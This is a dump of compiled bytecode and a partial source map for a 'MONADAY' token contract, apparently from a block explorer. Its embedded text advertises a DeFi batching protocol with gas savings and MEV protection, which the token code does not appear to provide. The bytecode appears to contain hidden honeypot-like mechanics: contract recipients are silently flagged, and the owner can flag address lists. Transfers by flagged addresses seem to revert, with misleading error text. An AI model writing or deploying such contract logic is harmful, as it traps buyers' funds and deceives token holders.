5163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bfd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611ce3565b506010805461ffff60a01b191661010160a01b179055565b6005546001600160a01b0316336001600160a01b031614610c58575f5ffd5b305f908152600160205260409020548015801590610c7f5750601054600160a81b900460ff165b15610c8d57610c8d816115f1565b4780156108a4576108a481611761565b6005546001600160a01b0316336001600160a01b031614610cbc575f5ffd5b6006548211158015610cd057506007548111155b610cd8575f5ffd5b600691909155600755565b6001600160a01b038316610d585760405162461bcd60e51b815260206004820152603660248201527f416374696f6e2052657175697265643a20417070726f7665205f66726f6d5f206044820152753232b0b21030b2323932b9b9901422a921969918149760511b60648201526084016105f5565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152603460248201527f416374696f6e2052657175697265643a20417070726f7665205f746f5f20646560448201527330b21030b2323932b9b9901422a921969918149760611b60648201526084016105f5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9f5760405162461bcd60e51b815260206004820152603560248201527f416374696f6e2052657175697265643a205472616e736665722066726f6d206460448201527432b0b21030b2323932b9b9901422a921969918149760591b60648201526084016105f5565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152603360248201527f416374696f6e2052657175697265643a205472616e7366657220746f20646561604482015272321030b2323932b9b9901422a921969918149760691b60648201526084016105f5565b5f8111610f865760405162461bcd60e51b815260206004820152603760248201527f416374696f6e2052657175697265643a205472616e7366657220616d6f756e7460448201527f206d757374206265206c6172676572207468616e20302e00000000000000000060648201526084016105f5565b5f80546001600160a01b03858116911614801590610fb157505f546001600160a01b03848116911614155b8015610fcb57506005546001600160a01b03848116911614155b1561137557600a541561108f57610ff2606461079f6009548561153c90919063ffffffff16565b9050610ffd84611798565b1561106e5761100b836117cd565b156110695760405162461bcd60e51b815260206004820152602860248201527f416374696f6e2052657175697265643a204d4350204f7261636c6520696e697460448201526734b0b634b9b2b21760c11b60648201526084016105f5565b61108f565b61107733610400565b1561108f576110868285611825565b1561108f575f5ffd5b6010546001600160a01b0385811691161480156110ba5750600f546001600160a01b03848116911614155b80156110de57506001600160a01b0383165f9081526003602052604090205460ff16155b1561120557600b548211156111475760405162461bcd60e51b815260206004820152602960248201527f4c696d69743a205472616e73666572206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b60648201526084016105f5565b600c5482611169856001600160a01b03165f9081526001602052604090205490565b6111739190611d41565b11156111d45760405162461bcd60e51b815260206004820152602a60248201527f4c696d69743a205472616e73666572206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016105f5565b6111ee606461079f6006548561153c90919063ffffffff16565b600a80549192505f6111ff83611d54565b91905055505b6010546001600160a01b03848116911614801561122b57506001600160a01b0384163014155b1561124d5761124a606461079f6007548561153c90919063ffffffff16565b90505b305f90815260016020526040902054601054600160b01b900460ff1615801561128357506010546001600160a01b038581169116145b80156112985750601054600160a81b900460ff165b80156112a55750600d5481115b80156112b45750600854600a54115b15611373576012544311156112c8575f6011555b60076011541061132c5760405162461bcd60e51b815260206004820152602960248201527f4c696d69743a204d6178696d756d20372073656c6c732f626c6f636b206172656044820152681030b63637bbb2b21760b91b60648201526084016105f5565b6113496113448461133f84600e54611850565b611850565b6115f1565b4780156113595761135947611761565b60118054905f61136883611d54565b909155505043601255505b505b80156113ed57305f908152600160205260409020546113949082611864565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113e49085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461140f90836118d9565b6001600160a01b0385165f9081526001602052604090205561145261143483836118d9565b6001600160a01b0385165f9081526001602052604090205490611864565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61149b85856118d9565b60405190815260200160405180910390a350505050565b5f81848411156114d55760405162461bcd60e51b81526004016105f59190611940565b505f6114e18486611d6c565b95945050505050565b5f600582901c6114fb836003611c6c565b1863ffffffff169050919050565b5f611515600283611d93565b5f0361152457610500826118fd565b610500611532836001611d41565b6118fd565b919050565b5f825f0361154b57505f610500565b5f6115568385611c6c565b9050826115638583611da6565b146105c55760405162461bcd60e51b815260206004820152603460248201527f416374696f6e205265717569726564202d20536166654d6174683a204d756c7460448201527334b83634b1b0ba34b7b71037bb32b9333637bb9760611b60648201526084016105f5565b5f6105c58383604051806060016040528060318152602001611e4560319139611914565b6010805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061163757611637611d02565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561168e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b29190611db9565b816001815181106116c5576116c5611d02565b6001600160a01b039283166020918202929092010152600f546116eb9130911684610ce3565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117239085905f90869030904290600401611dd4565b5f604051808303815f87803b15801561173a575f5ffd5b505af115801561174c573d5f5f3e3d5ffd5b50506010805460ff60b01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156108a4573d5f5f3e3d5ffd5b6001600160a01b0381165f9081526003602052604081205460ff16801561050057506001600160a01b03821630141592915050565b6010545f906001600160a01b038381169116148015906117f657505f826001600160a01b03163b115b1561181e576001600160a01b0382165f908152600460205260409020805460ff191660011790555b505f919050565b6001600160a01b0381165f9081526002602090815260408083203384529091528120839055806105c5565b5f81831161185e57826105c5565b50919050565b5f806118708385611d41565b9050838110156105c55760405162461bcd60e51b815260206004820152602e60248201527f416374696f6e205265717569726564202d20536166654d6174683a204164646960448201526d3a34b7b71037bb32b9333637bb9760911b60648201526084016105f5565b5f6105c58383604051806060016040528060318152602001611fbd603191396114b2565b5f61ffff600183901b166105c58160aa9081161490565b5f81836119345760405162461bcd60e51b81526004016105f59190611940565b505f6114e18486611da6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611989575f5ffd5b50565b803561153781611975565b5f5f604083850312156119a8575f5ffd5b82356119b381611975565b946020939093013593505050565b5f5f5f606084860312156119d3575f5ffd5b83356119de81611975565b925060208401356119ee81611975565b929592945050506040919091013590565b5f60208284031215611a0f575f5ffd5b5035919050565b5f60208284031215611a26575f5ffd5b81356105c581611975565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611a55575f5ffd5b813567ffffffffffffffff811115611a6b575f5ffd5b8201601f81018413611a7b575f5ffd5b803567ffffffffffffffff811115611a9557611a95611a31565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611ac257611ac2611a31565b604052918252602081840181019290810187841115611adf575f5ffd5b6020850194505b83851015611b0557611af78561198c565b815260209485019401611ae6565b509695505050505050565b5f5f60408385031215611b21575f5ffd5b8235611b2c81611975565b91506020830135611b3c81611975565b809150509250929050565b5f5f60408385031215611b58575f5ffd5b50508035926020909101359150565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611bb657808504811115611b9a57611b9a611b67565b6001841615611ba857908102905b60019390931c928002611b7f565b935093915050565b5f82611bcc57506001610500565b81611bd857505f610500565b8160018114611bee5760028114611bf857611c14565b6001915050610500565b60ff841115611c0957611c09611b67565b50506001821b610500565b5060208310610133831016604e8410600b8410161715611c37575081810a610500565b611c435f198484611b7b565b805f1904821115611c5657611c56611b67565b029392505050565b5f6105c560ff841683611bbe565b808202811582820484141761050057610500611b67565b60208082526029908201527f416374696f6e2052657175697265643a2046756e6374696f6e2063616c6c657260408201526810109e9027bbb732b960b91b606082015260800190565b5f60208284031215611cdc575f5ffd5b5051919050565b5f60208284031215611cf3575f5ffd5b815180151581146105c5575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f5f5f60608486031215611d28575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561050057610500611b67565b5f60018201611d6557611d65611b67565b5060010190565b8181038181111561050057610500611b67565b634e487b7160e01b5f52601260045260245ffd5b5f82611da157611da1611d7f565b500690565b5f82611db457611db4611d7f565b500490565b5f60208284031215611dc9575f5ffd5b81516105c581611975565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611e245783516001600160a01b0316835260209384019390920191600101611dfd565b50506001600160a01b03959095166060840152505060800152939250505056fe416374696f6e205265717569726564202d20536166654d6174683a204469766973696f6e206279207a65726f202830292e416374696f6e2052657175697265643a20284552432d323029205472616e7366657220616d6f756e74206578636565647320636f6e6669677572656420616c6c6f77616e636520286c696d69747329426174636820757020746f20382044654669206f7065726174696f6e7320696e746f206f6e65207472616e73616374696f6e206f6e204d6f6e6164277320686967682d7370656564206e6574776f726b2e204578656375746520737761702b7374616b652b6661726d20737472617465676965732077697468203730252067617320736176696e677320616e642066756c6c204d45562070726f74656374696f6e2e204d6f6e614461792050726f746f636f6c207475726e7320667261676d656e746564204465466920696e746f207365616d6c6573732073696e676c652d636c69636b20657865637574696f6e2e20244d4f4e41444159416374696f6e205265717569726564202d20536166654d6174683a205375627472616374696f6e206f766572666c6f772ea2646970667358221220b55f557482a21266c48b7aff887e6e773ab03878a0a5f3de59759b997a8e9a9764736f6c634300081d0033
Deployed Bytecode
0x60806040526004361061017e575f3560e01c80638da5cb5b116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610465578063d581356b14610479578063dd62ed3e1461048d578063f470335d146104d1575f5ffd5b8063a9059cbb1461041d578063bf474bed1461043c578063c4b0fd9014610451575f5ffd5b80638da5cb5b1461033e5780638f152a85146103645780638f9a55c01461038357806395d89b411461039857806398561d87146103c7578063a6db44c7146103e6575f5ffd5b8063450aa5a911610138578063715018a611610113578063715018a6146102e0578063751039fc146102f65780637d1db4a51461030a5780637e740ae51461031f575f5ffd5b8063450aa5a9146102795780634f1d6c981461028d57806370a08231146102ac575f5ffd5b806306fdde0314610189578063095ea7b3146101d95780630faee56f1461020857806318160ddd1461022b57806323b872dd1461023f578063313ce5671461025e575f5ffd5b3661018557005b5f5ffd5b348015610194575f5ffd5b506040805180820190915260168152751353d39051185e4814dc19595908141c9bdd1bd8dbdb60521b60208201525b6040516101d09190611940565b60405180910390f35b3480156101e4575f5ffd5b506101f86101f3366004611997565b6104f0565b60405190151581526020016101d0565b348015610213575f5ffd5b5061021d600e5481565b6040519081526020016101d0565b348015610236575f5ffd5b5061021d610506565b34801561024a575f5ffd5b506101f86102593660046119c1565b610527565b348015610269575f5ffd5b50604051600981526020016101d0565b348015610284575f5ffd5b506101c361058e565b348015610298575f5ffd5b506101f86102a73660046119ff565b6105af565b3480156102b7575f5ffd5b5061021d6102c6366004611a16565b6001600160a01b03165f9081526001602052604090205490565b3480156102eb575f5ffd5b506102f46105cc565b005b348015610301575f5ffd5b506102f4610646565b348015610315575f5ffd5b5061021d600b5481565b34801561032a575f5ffd5b506102f4610339366004611997565b6106fb565b348015610349575f5ffd5b505f546040516001600160a01b0390911681526020016101d0565b34801561036f575f5ffd5b506102f461037e366004611a45565b610821565b34801561038e575f5ffd5b5061021d600c5481565b3480156103a3575f5ffd5b506040805180820190915260078152664d4f4e4144415960c81b60208201526101c3565b3480156103d2575f5ffd5b506102f46103e1366004611a45565b6108a8565b3480156103f1575f5ffd5b506101f8610400366004611a16565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610428575f5ffd5b506101f8610437366004611997565b61092c565b348015610447575f5ffd5b5061021d600d5481565b34801561045c575f5ffd5b506102f4610938565b348015610470575f5ffd5b506102f4610997565b348015610484575f5ffd5b506102f4610c39565b348015610498575f5ffd5b5061021d6104a7366004611b10565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104dc575f5ffd5b506102f46104eb366004611b47565b610c9d565b5f6104fc338484610ce3565b5060015b92915050565b5f6105136009600a611c5e565b6105229064210fdc0c00611c6c565b905090565b5f610533848484610e2b565b610584843361057f856040518060800160405280604f8152602001611e76604f91396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114b2565b610ce3565b5060019392505050565b606060405180610120016040528060f88152602001611ec560f89139905090565b5f5f6105ba836114ea565b90506105c581611509565b9392505050565b5f546001600160a01b031633146105fe5760405162461bcd60e51b81526004016105f590611c83565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461066f5760405162461bcd60e51b81526004016105f590611c83565b61067b6009600a611c5e565b61068a9064210fdc0c00611c6c565b600b556106996009600a611c5e565b6106a89064210fdc0c00611c6c565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106d86009600a611c5e565b6106e79064210fdc0c00611c6c565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146107245760405162461bcd60e51b81526004016105f590611c83565b6040516370a0823160e01b81523060048201525f906107a59060649061079f9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610775573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107999190611ccc565b9061153c565b906115cd565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af11580156107f7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081b9190611ce3565b50505050565b5f546001600160a01b0316331461084a5760405162461bcd60e51b81526004016105f590611c83565b5f5b81518110156108a4575f60045f84848151811061086b5761086b611d02565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161084c565b5050565b5f546001600160a01b031633146108d15760405162461bcd60e51b81526004016105f590611c83565b5f5b81518110156108a457600160045f8484815181106108f3576108f3611d02565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016108d3565b5f6104fc338484610e2b565b5f546001600160a01b031633146109615760405162461bcd60e51b81526004016105f590611c83565b5f60098190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016106f1565b5f546001600160a01b031633146109c05760405162461bcd60e51b81526004016105f590611c83565b601054600160a01b900460ff1615610a405760405162461bcd60e51b815260206004820152603d60248201527f416c6572743a204475706c69636174652063616c6c2e2054726164696e67206960448201527f73206f70656e20287061697220616c726561647920657869737473292e00000060648201526084016105f5565b6010546001600160a01b0316610aac5760405162461bcd60e51b815260206004820152602b60248201527f416c6572743a2054726164696e672070616972206973206e6f7420796574206960448201526a3734ba34b0b634bd32b21760a91b60648201526084016105f5565b600f54610ad99030906001600160a01b0316610aca6009600a611c5e565b61057f9064210fdc0c00611c6c565b600f546001600160a01b031663f305d7194730610b0a816001600160a01b03165f9081526001602052604090205490565b5f5f610b1d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b83573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba89190611d16565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bfd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c219190611ce3565b506010805461ffff60a01b191661010160a01b179055565b6005546001600160a01b0316336001600160a01b031614610c58575f5ffd5b305f908152600160205260409020548015801590610c7f5750601054600160a81b900460ff165b15610c8d57610c8d816115f1565b4780156108a4576108a481611761565b6005546001600160a01b0316336001600160a01b031614610cbc575f5ffd5b6006548211158015610cd057506007548111155b610cd8575f5ffd5b600691909155600755565b6001600160a01b038316610d585760405162461bcd60e51b815260206004820152603660248201527f416374696f6e2052657175697265643a20417070726f7665205f66726f6d5f206044820152753232b0b21030b2323932b9b9901422a921969918149760511b60648201526084016105f5565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152603460248201527f416374696f6e2052657175697265643a20417070726f7665205f746f5f20646560448201527330b21030b2323932b9b9901422a921969918149760611b60648201526084016105f5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9f5760405162461bcd60e51b815260206004820152603560248201527f416374696f6e2052657175697265643a205472616e736665722066726f6d206460448201527432b0b21030b2323932b9b9901422a921969918149760591b60648201526084016105f5565b6001600160a01b038216610f115760405162461bcd60e51b815260206004820152603360248201527f416374696f6e2052657175697265643a205472616e7366657220746f20646561604482015272321030b2323932b9b9901422a921969918149760691b60648201526084016105f5565b5f8111610f865760405162461bcd60e51b815260206004820152603760248201527f416374696f6e2052657175697265643a205472616e7366657220616d6f756e7460448201527f206d757374206265206c6172676572207468616e20302e00000000000000000060648201526084016105f5565b5f80546001600160a01b03858116911614801590610fb157505f546001600160a01b03848116911614155b8015610fcb57506005546001600160a01b03848116911614155b1561137557600a541561108f57610ff2606461079f6009548561153c90919063ffffffff16565b9050610ffd84611798565b1561106e5761100b836117cd565b156110695760405162461bcd60e51b815260206004820152602860248201527f416374696f6e2052657175697265643a204d4350204f7261636c6520696e697460448201526734b0b634b9b2b21760c11b60648201526084016105f5565b61108f565b61107733610400565b1561108f576110868285611825565b1561108f575f5ffd5b6010546001600160a01b0385811691161480156110ba5750600f546001600160a01b03848116911614155b80156110de57506001600160a01b0383165f9081526003602052604090205460ff16155b1561120557600b548211156111475760405162461bcd60e51b815260206004820152602960248201527f4c696d69743a205472616e73666572206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b60648201526084016105f5565b600c5482611169856001600160a01b03165f9081526001602052604090205490565b6111739190611d41565b11156111d45760405162461bcd60e51b815260206004820152602a60248201527f4c696d69743a205472616e73666572206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016105f5565b6111ee606461079f6006548561153c90919063ffffffff16565b600a80549192505f6111ff83611d54565b91905055505b6010546001600160a01b03848116911614801561122b57506001600160a01b0384163014155b1561124d5761124a606461079f6007548561153c90919063ffffffff16565b90505b305f90815260016020526040902054601054600160b01b900460ff1615801561128357506010546001600160a01b038581169116145b80156112985750601054600160a81b900460ff165b80156112a55750600d5481115b80156112b45750600854600a54115b15611373576012544311156112c8575f6011555b60076011541061132c5760405162461bcd60e51b815260206004820152602960248201527f4c696d69743a204d6178696d756d20372073656c6c732f626c6f636b206172656044820152681030b63637bbb2b21760b91b60648201526084016105f5565b6113496113448461133f84600e54611850565b611850565b6115f1565b4780156113595761135947611761565b60118054905f61136883611d54565b909155505043601255505b505b80156113ed57305f908152600160205260409020546113949082611864565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113e49085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461140f90836118d9565b6001600160a01b0385165f9081526001602052604090205561145261143483836118d9565b6001600160a01b0385165f9081526001602052604090205490611864565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61149b85856118d9565b60405190815260200160405180910390a350505050565b5f81848411156114d55760405162461bcd60e51b81526004016105f59190611940565b505f6114e18486611d6c565b95945050505050565b5f600582901c6114fb836003611c6c565b1863ffffffff169050919050565b5f611515600283611d93565b5f0361152457610500826118fd565b610500611532836001611d41565b6118fd565b919050565b5f825f0361154b57505f610500565b5f6115568385611c6c565b9050826115638583611da6565b146105c55760405162461bcd60e51b815260206004820152603460248201527f416374696f6e205265717569726564202d20536166654d6174683a204d756c7460448201527334b83634b1b0ba34b7b71037bb32b9333637bb9760611b60648201526084016105f5565b5f6105c58383604051806060016040528060318152602001611e4560319139611914565b6010805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061163757611637611d02565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561168e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b29190611db9565b816001815181106116c5576116c5611d02565b6001600160a01b039283166020918202929092010152600f546116eb9130911684610ce3565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117239085905f90869030904290600401611dd4565b5f604051808303815f87803b15801561173a575f5ffd5b505af115801561174c573d5f5f3e3d5ffd5b50506010805460ff60b01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156108a4573d5f5f3e3d5ffd5b6001600160a01b0381165f9081526003602052604081205460ff16801561050057506001600160a01b03821630141592915050565b6010545f906001600160a01b038381169116148015906117f657505f826001600160a01b03163b115b1561181e576001600160a01b0382165f908152600460205260409020805460ff191660011790555b505f919050565b6001600160a01b0381165f9081526002602090815260408083203384529091528120839055806105c5565b5f81831161185e57826105c5565b50919050565b5f806118708385611d41565b9050838110156105c55760405162461bcd60e51b815260206004820152602e60248201527f416374696f6e205265717569726564202d20536166654d6174683a204164646960448201526d3a34b7b71037bb32b9333637bb9760911b60648201526084016105f5565b5f6105c58383604051806060016040528060318152602001611fbd603191396114b2565b5f61ffff600183901b166105c58160aa9081161490565b5f81836119345760405162461bcd60e51b81526004016105f59190611940565b505f6114e18486611da6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611989575f5ffd5b50565b803561153781611975565b5f5f604083850312156119a8575f5ffd5b82356119b381611975565b946020939093013593505050565b5f5f5f606084860312156119d3575f5ffd5b83356119de81611975565b925060208401356119ee81611975565b929592945050506040919091013590565b5f60208284031215611a0f575f5ffd5b5035919050565b5f60208284031215611a26575f5ffd5b81356105c581611975565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611a55575f5ffd5b813567ffffffffffffffff811115611a6b575f5ffd5b8201601f81018413611a7b575f5ffd5b803567ffffffffffffffff811115611a9557611a95611a31565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611ac257611ac2611a31565b604052918252602081840181019290810187841115611adf575f5ffd5b6020850194505b83851015611b0557611af78561198c565b815260209485019401611ae6565b509695505050505050565b5f5f60408385031215611b21575f5ffd5b8235611b2c81611975565b91506020830135611b3c81611975565b809150509250929050565b5f5f60408385031215611b58575f5ffd5b50508035926020909101359150565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611bb657808504811115611b9a57611b9a611b67565b6001841615611ba857908102905b60019390931c928002611b7f565b935093915050565b5f82611bcc57506001610500565b81611bd857505f610500565b8160018114611bee5760028114611bf857611c14565b6001915050610500565b60ff841115611c0957611c09611b67565b50506001821b610500565b5060208310610133831016604e8410600b8410161715611c37575081810a610500565b611c435f198484611b7b565b805f1904821115611c5657611c56611b67565b029392505050565b5f6105c560ff841683611bbe565b808202811582820484141761050057610500611b67565b60208082526029908201527f416374696f6e2052657175697265643a2046756e6374696f6e2063616c6c657260408201526810109e9027bbb732b960b91b606082015260800190565b5f60208284031215611cdc575f5ffd5b5051919050565b5f60208284031215611cf3575f5ffd5b815180151581146105c5575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f5f5f60608486031215611d28575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561050057610500611b67565b5f60018201611d6557611d65611b67565b5060010190565b8181038181111561050057610500611b67565b634e487b7160e01b5f52601260045260245ffd5b5f82611da157611da1611d7f565b500690565b5f82611db457611db4611d7f565b500490565b5f60208284031215611dc9575f5ffd5b81516105c581611975565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611e245783516001600160a01b0316835260209384019390920191600101611dfd565b50506001600160a01b03959095166060840152505060800152939250505056fe416374696f6e205265717569726564202d20536166654d6174683a204469766973696f6e206279207a65726f202830292e416374696f6e2052657175697265643a20284552432d323029205472616e7366657220616d6f756e74206578636565647320636f6e6669677572656420616c6c6f77616e636520286c696d69747329426174636820757020746f20382044654669206f7065726174696f6e7320696e746f206f6e65207472616e73616374696f6e206f6e204d6f6e6164277320686967682d7370656564206e6574776f726b2e204578656375746520737761702b7374616b652b6661726d20737472617465676965732077697468203730252067617320736176696e677320616e642066756c6c204d45562070726f74656374696f6e2e204d6f6e614461792050726f746f636f6c207475726e7320667261676d656e746564204465466920696e746f207365616d6c6573732073696e676c652d636c69636b20657865637574696f6e2e20244d4f4e41444159416374696f6e205265717569726564202d20536166654d6174683a205375627472616374696f6e206f766572666c6f772ea2646970667358221220b55f557482a21266c48b7aff887e6e773ab03878a0a5f3de59759b997a8e9a9764736f6c634300081d0033
Deployed Bytecode Sourcemap
7923:11457:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10614:83;;;;;;;;;;-1:-1:-1;10684:5:0;;;;;;;;;;;;-1:-1:-1;;;10684:5:0;;;;10614:83;;;;;;;:::i;:::-;;;;;;;;11447:161;;;;;;;;;;-1:-1:-1;11447:161:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;11447:161:0;1084:187:1;8932:55:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;8932:55:0;1276:177:1;10891:95:0;;;;;;;;;;;;;:::i;17289:359::-;;;;;;;;;;-1:-1:-1;17289:359:0;;;;;:::i;:::-;;:::i;10800:83::-;;;;;;;;;;-1:-1:-1;10800:83:0;;8514:1;2113:36:1;;2101:2;2086:18;10800:83:0;1971:184:1;18994:345:0;;;;;;;;;;;;;:::i;18141:188::-;;;;;;;;;;-1:-1:-1;18141:188:0;;;;;:::i;:::-;;:::i;10994:119::-;;;;;;;;;;-1:-1:-1;10994:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11087:18:0;11060:7;11087:18;;;:9;:18;;;;;;;10994:119;7004:148;;;;;;;;;;;;;:::i;:::-;;17659:159;;;;;;;;;;;;;:::i;8736:56::-;;;;;;;;;;;;;;;;18740:246;;;;;;;;;;-1:-1:-1;18740:246:0;;;;;:::i;:::-;;:::i;6774:79::-;;;;;;;;;;-1:-1:-1;6812:7:0;6839:6;6774:79;;-1:-1:-1;;;;;6839:6:0;;;2789:51:1;;2777:2;2762:18;6774:79:0;2643:203:1;17826:177:0;;;;;;;;;;-1:-1:-1;17826:177:0;;;;;:::i;:::-;;:::i;8799:58::-;;;;;;;;;;;;;;;;10705:87;;;;;;;;;;-1:-1:-1;10777:7:0;;;;;;;;;;;;-1:-1:-1;;;10777:7:0;;;;10705:87;;15914:182;;;;;;;;;;-1:-1:-1;15914:182:0;;;;;:::i;:::-;;:::i;18636:96::-;;;;;;;;;;-1:-1:-1;18636:96:0;;;;;:::i;:::-;-1:-1:-1;;;;;18717:7:0;18696:4;18717:7;;;:4;:7;;;;;;;;;18636:96;11121:167;;;;;;;;;;-1:-1:-1;11121:167:0;;;;;:::i;:::-;;:::i;8864:61::-;;;;;;;;;;;;;;;;18011:122;;;;;;;;;;;;;:::i;10012:594::-;;;;;;;;;;;;;:::i;12124:360::-;;;;;;;;;;;;;:::i;11296:143::-;;;;;;;;;;-1:-1:-1;11296:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11404:18:0;;;11377:7;11404:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11296:143;12984:295;;;;;;;;;;-1:-1:-1;12984:295:0;;;;;:::i;:::-;;:::i;11447:161::-;11522:4;11539:39;4501:10;11562:7;11571:6;11539:8;:39::i;:::-;-1:-1:-1;11596:4:0;11447:161;;;;;:::o;10891:95::-;10944:7;8575:13;8514:1;8575:2;:13;:::i;:::-;8557:31;;:15;:31;:::i;:::-;10964:14;;10891:95;:::o;17289:359::-;17387:4;17404:36;17414:6;17422:9;17433:6;17404:9;:36::i;:::-;17451:167;17460:6;4501:10;17482:135;17520:6;17482:135;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17482:19:0;;;;;;:11;:19;;;;;;;;4501:10;17482:33;;;;;;;;;;:37;:135::i;:::-;17451:8;:167::i;:::-;-1:-1:-1;17636:4:0;17289:359;;;;;:::o;18994:345::-;19048:13;19074:257;;;;;;;;;;;;;;;;;;;18994:345;:::o;18141:188::-;18211:4;18228:14;18245:28;18268:4;18245:22;:28::i;:::-;18228:45;;18291:30;18314:6;18291:22;:30::i;:::-;18284:37;18141:188;-1:-1:-1;;;18141:188:0:o;7004:148::-;6901:6;;-1:-1:-1;;;;;6901:6:0;4501:10;6901:22;6893:83;;;;-1:-1:-1;;;6893:83:0;;;;;;;:::i;:::-;;;;;;;;;7111:1:::1;7095:6:::0;;7074:40:::1;::::0;-1:-1:-1;;;;;7095:6:0;;::::1;::::0;7074:40:::1;::::0;7111:1;;7074:40:::1;7142:1;7125:19:::0;;-1:-1:-1;;;;;;7125:19:0::1;::::0;;7004:148::o;17659:159::-;6901:6;;-1:-1:-1;;;;;6901:6:0;4501:10;6901:22;6893:83;;;;-1:-1:-1;;;6893:83:0;;;;;;;:::i;:::-;8575:13:::1;8514:1;8575:2;:13;:::i;:::-;8557:31;::::0;:15:::1;:31;:::i;:::-;17712:12;:22:::0;8575:13:::1;8514:1;8575:2;:13;:::i;:::-;8557:31;::::0;:15:::1;:31;:::i;:::-;17745:14;:22:::0;17783:27:::1;8575:13;8514:1;8575:2;:13;:::i;:::-;8557:31